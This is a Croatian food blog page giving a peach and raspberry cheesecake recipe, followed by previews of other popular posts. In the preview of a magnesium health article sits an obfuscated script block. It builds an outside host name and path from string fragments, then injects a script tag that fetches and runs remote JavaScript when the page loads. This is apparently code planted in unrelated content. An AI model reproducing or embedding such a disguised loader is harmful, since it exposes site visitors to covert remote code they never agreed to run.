TORTA OD BRESKVI I MALINA 🍑 🍰




Torta od breskvi i malina 



Ova osvježavajuća torta od sira s breskvama i malinama kombinira kremasti nadjev s hrskavom korom od keksa i svježim voćem, stvarajući savršen desert za svaku priliku. S blagom slatkoćom i sočnim voćem, ova torta je pravi izbor za one koji žele uživati u nečemu laganom i ukusnom.




Torta od breskvi i malina 


Sastojci:

Za koru:
  • 180 g drobljenih keksi
  • 80 g maslaca, otopljenog
  • 30 g šećera


Za kremu od sira:

  • 900 g krem sira, omekšalog
  • 200 g šećera
  • 10 ml ekstrakta vanilije
  • 4 velika jaja
  • 240 ml kiselog vrhnja


Za voćni sloj:

  • 150 g svježih breskvi, tanko narezanih
  • 125 g svježih malina



Priprema:

Zagrijte pećnicu na 160°C. Pomiješajte drobljene kekse s otopljenim maslacem i šećerom, a zatim smjesu čvrsto utisnite na dno podmazanog kalupa promjera 23 cm. U velikoj zdjeli pomiješajte krem sir sa šećerom i vanilijom dok smjesa ne postane glatka. Zatim dodajte jedno po jedno jaje, dobro miješajući nakon svakog dodavanja. Na kraju umiješajte kiselo vrhnje. Prelijte polovicu smjese preko pripremljene kore. Rasporedite narezane breskve i maline, a zatim prelijte preostalom smjesom. Na vrh torte rasporedite ostale kriške breskve i maline. Pecite 50 minuta ili dok se torta ne stegne. Nakon pečenja, ostavite tortu da se ohladi na sobnoj temperaturi, a zatim je stavite u hladnjak na najmanje 4 sata. Prije posluživanja, ukrasite šlagom, kriškama svježe breskve, malinama i mentom.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više